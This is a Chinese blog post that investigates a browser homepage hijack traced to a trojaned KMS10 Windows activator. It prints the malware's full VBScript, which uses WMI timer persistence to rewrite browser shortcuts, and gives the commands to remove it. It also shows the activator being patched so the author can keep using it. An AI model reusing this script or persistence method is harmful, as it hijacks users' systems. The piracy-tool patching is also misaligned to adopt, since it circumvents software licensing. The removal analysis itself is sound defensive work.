#问题现象打开浏览器,默认弹出页面https://www.hao123.com/?tn=92543205_hao_pg查看浏览器设置,并没有设置首页检查浏览器快捷方式属性,发现“目标(T)”栏设置了跳
#问题现象
- 打开浏览器,默认弹出页面
https://www.hao123.com/?tn=92543205_hao_pg
- 查看浏览器设置,并没有设置首页
- 检查浏览器快捷方式属性,发现“目标(T)”栏设置了跳转
C:/Program Files (x86)/Google/Chrome/Application/chrome.exe" http://hao.ttmmt.com/?v=1042
- 删除跳转地址后,能临时解决该问题。但过段时间后,问题再次出现,快捷方式又被改了
- 检查regedit注册表,以及msconfig查看启动项等,都没有发现可疑的程序修改
#问题定位一直以为是自己安装的软件有恶意绑定,也没有花心思去查证。在切换系统后,没怎么安装软件也有这个问题,也到了忍无可忍的地步了。通过在网上查得,应该是与小马激活工具(KMS10,本文使用的版本为V10.42)有关。
- 小马官方已停止维护,从网络各处下得的KMS大多被绑定木马
- 从不同地方获得不同版本木马可能不同
- 修改浏览器快捷方式,变相篡改首页的问题应该是主要的一种。虽然大家的绑定地址可能有所不同,但大部分情况下大同小异,属于我遇到的情况。
这次定时修改浏览器快捷方式的木马,并非简单地在开机启动项里添加了可执行程序。它使用了wmi的event机制,创建了一个定时任务,定时执行一段VB脚本。可自行在网上搜“WMI三无后门”之类的内容。
- 使用管理员权限打开powershell,使用如下几条命令查看event事件内容:
gwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumergwmi -Namespace "root/cimv2" -Class __FilterToConsumerBindinggwmi -Namespace "root/cimv2" -Class __IntervalTimerInstructiongwmi -Namespace "root/cimv2" -Class __EventFilter
- 查看事件“消费者”,ScriptText保存了被执行的VB代码,使用于使用各种路径下+各种浏览器的快捷方式:
ps c:/users/leo> gwmi -namespace "root/cimv2" -class activescripteventconsumer__GENUS : 2__CLASS : ActiveScriptEventConsumer__SUPERCLASS : __EventConsumer__DYNASTY : __SystemClass__RELPATH : ActiveScriptEventConsumer.Name="VBScriptKLive_consumer"__PROPERTY_COUNT : 8__DERIVATION : {__EventConsumer, __IndicationRelated, __SystemClass}__SERVER : DESKTOP-EJQUMQK__NAMESPACE : ROOT/cimv2__PATH : //DESKTOP-EJQUMQK/ROOT/cimv2:ActiveScriptEventConsumer.Name="VBScriptKLive_consumer"CreatorSID : {1, 5, 0, 0...}KillTimeout : 0MachineName :MaximumQueueSize :Name : VBScriptKLive_consumerScriptFilename :ScriptingEngine : vbscriptScriptText : On Error Resume Next:Const link = "http://hao.ttmmt.com/?v=1042":Const link360 = "http:// hao.ttmmt.com/?v=1042&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome .exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.e xe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.ex e,opera.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie .exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrows er.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:/Users/Public/Desktop,C:/P rogramData/Microsoft/Windows/Start Menu/Programs,C:/Users/leo/Desktop,C:/Users/leo/AppDat a/Roaming/Microsoft/Internet Explorer/Quick Launch,C:/Users/leo/AppData/Roaming/Microsoft /Internet Explorer/Quick Launch/User Pinned/StartMenu,C:/Users/leo/AppData/Roaming/Micros oft/Internet Explorer/Quick Launch/User Pinned/TaskBar,C:/Users/leo/AppData/Roaming/Micro soft/Windows/Start Menu/Programs":browsersArr = split(browsers,","):Set oDic = CreateObje ct("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), brows er:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictiona ry"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateO bject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFo lder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshSh ell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase ("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If :If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Sa ve:End If:End If:Next:End If:Next:PSComputerName : DESKTOP-EJQUMQK
- 绑定事件过滤器与消费者:
ps c:/users/leo> gwmi -namespace "root/cimv2" -class __filtertoconsumerbinding__GENUS : 2__CLASS : __FilterToConsumerBinding__SUPERCLASS : __IndicationRelated__DYNASTY : __SystemClass__RELPATH : __FilterToConsumerBinding.Consumer="////.//root//cimv2:ActiveScriptEventConsumer.N ame=/"VBScriptKLive_consumer/"",Filter="////.//root//cimv2:__EventFilter.Name=/"VB ScriptKLive_filter/""__PROPERTY_COUNT : 7__DERIVATION : {__IndicationRelated, __SystemClass}__SERVER : DESKTOP-EJQUMQK__NAMESPACE : ROOT/cimv2__PATH : //DESKTOP-EJQUMQK/ROOT/cimv2:__FilterToConsumerBinding.Consumer="////.//root//cimv 2:ActiveScriptEventConsumer.Name=/"VBScriptKLive_consumer/"",Filter="////.//root// cimv2:__EventFilter.Name=/"VBScriptKLive_filter/""Consumer : //./root/cimv2:ActiveScriptEventConsumer.Name="VBScriptKLive_consumer"CreatorSID : {1, 5, 0, 0...}DeliverSynchronously : FalseDeliveryQoS :Filter : //./root/cimv2:__EventFilter.Name="VBScriptKLive_filter"MaintainSecurityContext : FalseSlowDownProviders : FalsePSComputerName : DESKTOP-EJQUMQK
- 定时器:
ps c:/users/leo> gwmi -namespace "root/cimv2" -class __intervaltimerinstruction __genus : 2__class : __intervaltimerinstruction__superclass : __timerinstruction__dynasty : __systemclass__relpath : __intervaltimerinstruction.timerid="vbscriptklive_timer"__property_count : 3__derivation : {__timerinstruction, __eventgenerator, __indicationrelated, __systemclass}__server : desktop-ejqumqk__namespace : root/cimv2__path : //desktop-ejqumqk/root/cimv2:__intervaltimerinstruction.timerid="vbscriptklive_timer"intervalbetweenevents : 10800000skipifpassed : falsetimerid : vbscriptklive_timerpscomputername : desktop-ejqumqk
- 事件过滤器
ps c:/users/leo> gwmi -namespace "root/cimv2" -class __eventfilter__genus : 2__class : __eventfilter__superclass : __indicationrelated__dynasty : __systemclass__relpath : __eventfilter.name="vbscriptklive_filter"__property_count : 6__derivation : {__indicationrelated, __systemclass}__server : desktop-ejqumqk__namespace : root/cimv2__path : //desktop-ejqumqk/root/cimv2:__eventfilter.name="vbscriptklive_filter"creatorsid : {1, 5, 0, 0...}eventaccess :eventnamespace :name : vbscriptklive_filterquery : select * from __timerevent where timerid="vbscriptklive_timer"querylanguage : wqlpscomputername : desktop-ejqumqk
#解决方法为了解决问题,打算修改kms.exe二进制程序中快捷方式修改部分,有两点原因:
- 在我的机器上,KMS设置了定时启动任务,通过taskschd.msc查看“任务计划程序”可看到,不知删除是否会影响激活,所以没有删除。
- 以后还会用到这个二进制,所以需要一个纯净一点的kms
下面是修改步骤:
- 对照前面wmi查到的VB脚本,把涉及的各目录下的浏览器快捷方式先改正常。之后删除WMI定时事件,根据查得的各项目名称,对照使用下面命令:
gwmi -Namespace "root/cimv2" -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='VBScriptKLive_filter'""" | Remove-WmiObjectgwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumer -Filter "Name = 'VBScriptKLive_consumer'" | Remove-WmiObjectgwmi -Namespace "root/cimv2" -Class __IntervalTimerInstruction -Filter "TimerID = 'VBScriptKLive_timer'" | Remove-WmiObjectgwmi -Namespace "root/cimv2" -Class __EventFilter -Filter "Name = 'VBScriptKLive_filter'" | Remove-WmiObject
使用exeinfo pe工具,查看到kms.exe有upx加壳:
使用upx脱壳:
C:/Users/leo/Desktop/xx>upx394w/upx.exe -d KMS10.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2017UPX 3.94w Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 File size Ratio Format Name -------------------- ------ ----------- ----------- 3408384 <- 1059840 31.10% win32/pe KMS10.exeUnpacked 1 file.
使用odbg200加载脱壳后的kms,查看所有的字符串。找到VB脚本信息,比如"on error":
查找到字符串及所处函数的调用上下文。因为WMI是以com的方式处理的,使用CoInitialize和CoUnintialize初始化com和反初始化com库,干脆就直接让此处的几行调用全转为nops空指令,最后点右键菜单中“save file”保存修改:
使用upx加壳kms,可以减小执行文件的大小:
C:/Users/leo/Desktop/xx>upx394w/upx.exe KMS10_fix_upx.exe Ultimate Packer for eXecutables Copyright (C) 1996 - 2017UPX 3.94w Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017 File size Ratio Format Name -------------------- ------ ----------- ----------- 3408384 -> 1078784 31.65% win32/pe KMS10_fix_upx.exePacked 1 file.
- 双击最后的kms,查看是否有WMI事件信息:
gwmi -Namespace "root/cimv2" -Class ActiveScriptEventConsumergwmi -Namespace "root/cimv2" -Class __FilterToConsumerBindinggwmi -Namespace "root/cimv2" -Class __IntervalTimerInstructiongwmi -Namespace "root/cimv2" -Class __EventFilter
- 如果taskschd.msc中有kms定时调用,记得使用新的kms替换对应目录下的kms: